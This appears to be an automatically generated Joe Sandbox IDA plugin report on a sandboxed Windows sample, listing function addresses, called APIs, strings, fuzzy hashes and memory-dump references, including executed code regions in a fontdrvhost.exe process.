Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 40ed581310967be8a65050437223cc77326a85ac9277562ecf6cb6546d119ce4
Instruction ID: 8f491696a67562cd86a4c00a44b9a5b3903a8b41c097f79fd87731dc4fa8e2a6
Opcode Fuzzy Hash: 40ed581310967be8a65050437223cc77326a85ac9277562ecf6cb6546d119ce4
Instruction Fuzzy Hash: 2491E371604350AFDA11DF25D884A2BBBE8FFC9700F00495EF596D7260DB70A905CFA2

Function 00BAB1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BAB324

Part of subcall function 00BA9097: IsProcessorFeaturePresent.KERNEL32(00000017,00BA9086,00000050,00BB3A34,?,00B8D710,00000004,00BC1030,?,?,00BA9093,00000000,00000000,00000000,00000000,00000000), ref: 00BA9099
Part of subcall function 00BA9097: GetCurrentProcess.KERNEL32(C0000417,00BB3A34,00000050,00BC1030), ref: 00BA90BB
Part of subcall function 00BA9097: TerminateProcess.KERNEL32(00000000), ref: 00BA90C2

Strings

*?, xrefs: 00BAB1FB
., xrefs: 00BAB4DB

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction ID: 5f9f8b4c80a4f093a8de1171b5253148d32d30a1f6a1e72a4d08101ad795330d
Opcode Fuzzy Hash: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction Fuzzy Hash: 86517471E0420AEFDF14DFA8C881AADBBF5EF59314F2441AAE864E7341E7359E018B50

Function 00B875DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B875E3

Part of subcall function 00B905DA: _wcslen.LIBCMT ref: 00B905E0

Part of subcall function 00B8A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00B8A598

SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B8777F

Part of subcall function 00B8A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00B8A325,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A501
Part of subcall function 00B8A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00B8A325,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A532

Strings

:, xrefs: 00B87654

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File$Attributes$CloseFindH_prologTime_wcslen
String ID: :
API String ID: 3226429890-336475711
Opcode ID: 01f8af896c729ab8d9cac939c24e8eafef1e403cd85e6d393f234c89374d92a7
Instruction ID: 9c984c61be1001f9719bbb4658609bc7c3a8e3d1dccb90b5669ae569e5af9e8d
Opcode Fuzzy Hash: 01f8af896c729ab8d9cac939c24e8eafef1e403cd85e6d393f234c89374d92a7
Instruction Fuzzy Hash: 74415071805258AAEF25FB64CC95EEEB3FCEF55304F1440E6B605A20A2DB749F84CB61

Function 00B9B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B9B4E3
_wcslen.LIBCMT ref: 00B9B4FE

Strings

}, xrefs: 00B9B4D6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen
String ID: }
API String ID: 176396367-4239843852
Opcode ID: 015f6173c6cca95e2a9f003f702385792b721074b1431ddfb1c49ce1a42d422f
Instruction ID: 6aba247aef89659204eef5cb933bf0aa643c876812fd6f41dc05afbb95499781
Opcode Fuzzy Hash: 015f6173c6cca95e2a9f003f702385792b721074b1431ddfb1c49ce1a42d422f
Instruction Fuzzy Hash: 1921C6729083165ADB31EA64EA55F6FB3DCDFA2750F0504BAF540C3241EB65DD4883B2

Function 00B8F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00B8F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00B8F2E4
Part of subcall function 00B8F2C5: GetProcAddress.KERNEL32(00BC81C8,CryptUnprotectMemory), ref: 00B8F2F4

GetCurrentProcessId.KERNEL32(?,?,?,00B8F33E), ref: 00B8F3D2

Strings

CryptUnprotectMemory failed, xrefs: 00B8F3CA
CryptProtectMemory failed, xrefs: 00B8F389

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: cb97e2040eb0b2c03e543663f4df47c00cb101d0c8ef9d78c2d83e27e1d1501b
Instruction ID: 72fb54773f9f54bff9c0d6d4fa70122711fc983929022193da0de3fee48bd193
Opcode Fuzzy Hash: cb97e2040eb0b2c03e543663f4df47c00cb101d0c8ef9d78c2d83e27e1d1501b
Instruction Fuzzy Hash: 0311D33160062AABDF16BF25DC45A7E37D5FF04B60B1441AAFC416B271DE749E01CB98

Function 00B8B991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B8B9B8

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

Strings

%c:\, xrefs: 00B8B9AE

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 1543624204-3142399695
Opcode ID: c2d87e870c9eff3f42ae9e99b42a5f4ddef2e24e4756a42e80eed9e654270042
Instruction ID: 57a361b217bf886edc3fb61af3e4fe9dfe4fbc99b4048273e5f83c72507caee3
Opcode Fuzzy Hash: c2d87e870c9eff3f42ae9e99b42a5f4ddef2e24e4756a42e80eed9e654270042
Instruction Fuzzy Hash: E701F163504312699A34BB798C82D6BA7ECEF92770B40488AF545D61A2EF30D840C3B1

Function 00B9101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00B91160,?,00000000,00000000), ref: 00B91043
SetThreadPriority.KERNEL32(?,00000000), ref: 00B9108A

Part of subcall function 00B86C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B86C54

Strings

CreateThread failed, xrefs: 00B9104F

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: acd089787438e4bec44a634f2795b61f799ad09367fd9c68b2db91185feb9719
Instruction ID: 8106199d5dd36824794ac7f1a71d5bcdf33d669e658cf75e4f3ea33c8bb5117b
Opcode Fuzzy Hash: acd089787438e4bec44a634f2795b61f799ad09367fd9c68b2db91185feb9719
Instruction Fuzzy Hash: 7401D6B634430A6FD7306E68AC51F76B3D8FB40751F2008BEF686A2291CEE168849724

Function 00B81316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00B8E2E8: _swprintf.LIBCMT ref: 00B8E30E
Part of subcall function 00B8E2E8: _strlen.LIBCMT ref: 00B8E32F
Part of subcall function 00B8E2E8: SetDlgItemTextW.USER32(?,00BBE274,?), ref: 00B8E38F
Part of subcall function 00B8E2E8: GetWindowRect.USER32(?,?), ref: 00B8E3C9
Part of subcall function 00B8E2E8: GetClientRect.USER32(?,?), ref: 00B8E3D5

GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

Strings

0, xrefs: 00B81319

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: 0
API String ID: 2622349952-4108050209
Opcode ID: b1d54b664207af32de63f0434a1a4ffaf06bcc12b21ae65245396fcb529e0ef0
Instruction ID: bcdb2b6f93c445e08667589fff7e4f408e4a2603dffc28fc9727907e6a9df12f
Opcode Fuzzy Hash: b1d54b664207af32de63f0434a1a4ffaf06bcc12b21ae65245396fcb529e0ef0
Instruction Fuzzy Hash: 7EF08C30105288BBDF152F68880DBEA3BECEB00744F048998FC46665B2CB74C992EB18

Function 00B90FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00B91206,?), ref: 00B90FEA
GetLastError.KERNEL32(?), ref: 00B90FF6

Part of subcall function 00B86C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B86C54

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00B90FFF

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: 73f1a4d2042ce89506955e41324c69fb8e85de7cb94a55155a7dc606342792c5
Instruction ID: 25cbf7504cc1b3d5d0680921a78428939a7b88a83bb255e4ebf398e05afd6c1c
Opcode Fuzzy Hash: 73f1a4d2042ce89506955e41324c69fb8e85de7cb94a55155a7dc606342792c5
Instruction Fuzzy Hash: 86D02B3250C5303BCA1033285D05E7E39C4DF12731F500B94F038611F2CF6149819791

Function 00B8E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00B8DA55,?), ref: 00B8E2A3
FindResourceW.KERNEL32(00000000,RTL,00000005,?,00B8DA55,?), ref: 00B8E2B1

Strings

RTL, xrefs: 00B8E2AB

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: c460efd631a80004fde5bdb07692c836d7bd794fcb0c06e94f8a587abddef3ad
Instruction ID: 8e280dd1e7a3a94260e353196d47fdf8f257cdf9e5cf0b8fc6e51e52586bdc84
Opcode Fuzzy Hash: c460efd631a80004fde5bdb07692c836d7bd794fcb0c06e94f8a587abddef3ad
Instruction Fuzzy Hash: DEC01231288B20A7EA303B646C0DB876AD89F01F11F09058CB281EA2E1DAE5D980C7A0

Analysis Process: fontdrvhost.exePID: 3084, Parent PID: 3768COMMON

Executed Functions

Function 00007FFD34550D48 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

5Z_H, xrefs: 00007FFD34550DF3

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 5Z_H
API String ID: 0-3267294416
Opcode ID: e93da0bbf4136a7ef2dca453967f74cf49fd51cfaa0848c26a20566ce9a07565
Instruction ID: 295bb8b40fd380d45069a8c59ca70905b85f5439be69518d31f4ee4a945b569d
Opcode Fuzzy Hash: e93da0bbf4136a7ef2dca453967f74cf49fd51cfaa0848c26a20566ce9a07565
Instruction Fuzzy Hash: 47A1D462E0D69A4FE74A9B6888757B9BFE1FF5A310F4501BAD049D72E2CB7C5801C700

Function 00007FFD34550E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 919edd5415e4d86f0e107f42d7dae88efaca302c304fa993dca2e11cd201f1d9
Instruction ID: 31312083ed5b7357d12ea25be0f3f1e816dda2b96e82d736e865017ac53a5bf1
Opcode Fuzzy Hash: 919edd5415e4d86f0e107f42d7dae88efaca302c304fa993dca2e11cd201f1d9
Instruction Fuzzy Hash: 7B51C272A18A5A8FE798DB5C88657BABFE1FB9A310F9001BED009D77D1CBB81410C700

Function 00007FFD3494A4C1 Relevance: 1.6, Strings: 1, Instructions: 381COMMON

Download Yara Rule

Strings

HV[4, xrefs: 00007FFD3494A854

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID: HV[4
API String ID: 0-1865321958
Opcode ID: f6ba0d477b4afa37f5ff2c5c7533b2c4d0f77072057c4cd683398974d2d8df37
Instruction ID: e472e3d5de8789f6e9664753cb27f1535305fc20d3191163438619cd7a85025f
Opcode Fuzzy Hash: f6ba0d477b4afa37f5ff2c5c7533b2c4d0f77072057c4cd683398974d2d8df37
Instruction Fuzzy Hash: FBD1DF30A1DB068FE369DB28D4E617577E1FF46310B20057EC58AC379ADE2CB8429B61

Function 00007FFD34941017 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

8j4, xrefs: 00007FFD34941133

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 8j4
API String ID: 0-3311284346
Opcode ID: 413df7a15074e3e76ad545ad7105749dbfc41249c6b9ffd3dcc6825a234ed554
Instruction ID: b7d379f539918fc71fe274dfd2f8d7d69efdad16e6d4e50d1235c5ee95ba8761
Opcode Fuzzy Hash: 413df7a15074e3e76ad545ad7105749dbfc41249c6b9ffd3dcc6825a234ed554
Instruction Fuzzy Hash: CB71F435B0C4494BE768DB19C4AB9B537D0EF4A311B0002BDD25EC775BEE1CA8169691

Function 00007FFD34943E58 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD34943ED2

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 88e28dd701c5d053043bf718b294184e56b48ea262d953b7a0f54b0abcfea3bc
Instruction ID: f6fdf1f57b59cfae4b0e9a532049dd047932e50fd21565c7e5ff0af92eda0b0d
Opcode Fuzzy Hash: 88e28dd701c5d053043bf718b294184e56b48ea262d953b7a0f54b0abcfea3bc
Instruction Fuzzy Hash: 3E515C71F0950A9FDB59DBA8C4A55BDB7B1EF49300F5041BED11AE7286CA386901CB60

Function 00007FFD34949208 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

, xrefs: 00007FFD34949282

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 0eea037c135cff10c0d50e45d277b9087e0a3bd175e0ab8e837991b3ab19b209
Instruction ID: 5bd3513d8feebaeb86c985fa333b76eb31d210f0bce6430447d44cc144ab36d3
Opcode Fuzzy Hash: 0eea037c135cff10c0d50e45d277b9087e0a3bd175e0ab8e837991b3ab19b209
Instruction Fuzzy Hash: 3E515C31E0C64E9FDB59CBA8C4A59FDB7B5EF4A300F1041BED01AE7296CA386901DB10

Function 00007FFD34550998 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

87`4, xrefs: 00007FFD3455B035

Memory Dump Source

Source File: 00000005.00000002.2228076213.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34550000_fontdrvhost.jbxd

Similarity

API ID:
String ID: 87`4
API String ID: 0-1907778389
Opcode ID: bfbcc4bb6c3fb1765c46189a2fa7c40d1f6ffb87a26c268e4634e32a505ef253
Instruction ID: eee1575756ca111dc36a9b7f0d42a107099d8fd656b21212eaf8903a57026f39
Opcode Fuzzy Hash: bfbcc4bb6c3fb1765c46189a2fa7c40d1f6ffb87a26c268e4634e32a505ef253
Instruction Fuzzy Hash: 6631E321F189190FE758F76C84AE6BA76D1EB99321B4500B9E40EC32E3DD2CEC418641

Function 00007FFD349428BB Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

xj4, xrefs: 00007FFD3494292C

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID: xj4
API String ID: 0-3389405718
Opcode ID: 8f702983f75b05e85e35d47e557146ff023ac6a7c170cd2d5c7cab72abdc2c15
Instruction ID: 5b5dfce6ac42bfa971d5a795b77a08ef92e2664a242b5ac0dd163f008740b7d3
Opcode Fuzzy Hash: 8f702983f75b05e85e35d47e557146ff023ac6a7c170cd2d5c7cab72abdc2c15
Instruction Fuzzy Hash: 75211C71B1890A9BDB98DE18D4A19A8B3E2FF59350B144139D01ED368ADF28BC12DB80

Function 00007FFD3494947F Relevance: .4, Instructions: 403COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe70ec472c6e94fa389954704318535f5c79d4672b784a47d3dffbba322d3bd
Instruction ID: c557d40bb82ac2e55797839055100a3edeb9c9315ab766854aa4e3a51b87baf7
Opcode Fuzzy Hash: 1fe70ec472c6e94fa389954704318535f5c79d4672b784a47d3dffbba322d3bd
Instruction Fuzzy Hash: CFF181306185568FEB59CF28C4E06B53BA5FF46310B5446BDC94ACB78ACA38E882CF51

Function 00007FFD349440CF Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43c1cd1dee217d10d8f721d370741b18285c59a2756c73dec369f4bc439a37cd
Instruction ID: 6d43fc22881077dc4bc63891d7aaf01cc7e76f2970bd74baff679d829a007611
Opcode Fuzzy Hash: 43c1cd1dee217d10d8f721d370741b18285c59a2756c73dec369f4bc439a37cd
Instruction Fuzzy Hash: EDE1B230A18656CFEB59CF18C4E06B577A1FF4A304B5442BDC94ACB68EDA3CE881DB51

Function 00007FFD34945111 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7154f55ca6b7d78164f3c9e02677752f259dc4557fc206136af04c8b01314bb
Instruction ID: 978846460115c8dbfa5c909476093e3600c8659c042257e44cdf586410c1f7ab
Opcode Fuzzy Hash: b7154f55ca6b7d78164f3c9e02677752f259dc4557fc206136af04c8b01314bb
Instruction Fuzzy Hash: A9D1D030A1CB068FD3A8CB68C0E557577E1FF46320B60457EC68EC7A8ADE2CB8429751

Function 00007FFD3494132D Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87c53153d3079136ec33b6726d7eb8b09d31a433ac9bc2f1d006adfd1955e0b
Instruction ID: c3dcbe9c9de1f618742e764ffbf1f613bc8bcc2cc144fc81684dd9504b62ad29
Opcode Fuzzy Hash: d87c53153d3079136ec33b6726d7eb8b09d31a433ac9bc2f1d006adfd1955e0b
Instruction Fuzzy Hash: 16311422F0C55687E625EA6ED8BA0FC67945F42320F18027EC68ED62CADD4C784573A2

Function 00007FFD349440EF Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dea6112efc8456236208624a37577cb0b5273b4d7132cc0fc7b437d37affde9
Instruction ID: 9c2d489f8af0d53091cb5c69ac476e9f6840d18dd9f5e36b3a7f59aec85ac4b0
Opcode Fuzzy Hash: 4dea6112efc8456236208624a37577cb0b5273b4d7132cc0fc7b437d37affde9
Instruction Fuzzy Hash: 53C18E30A18656CBEB19CF04C4E05B537A1FF46305B6446BDD94ACB68FDA3CE881DB51

Function 00007FFD3494949F Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2232552546.00007FFD34940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34940000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
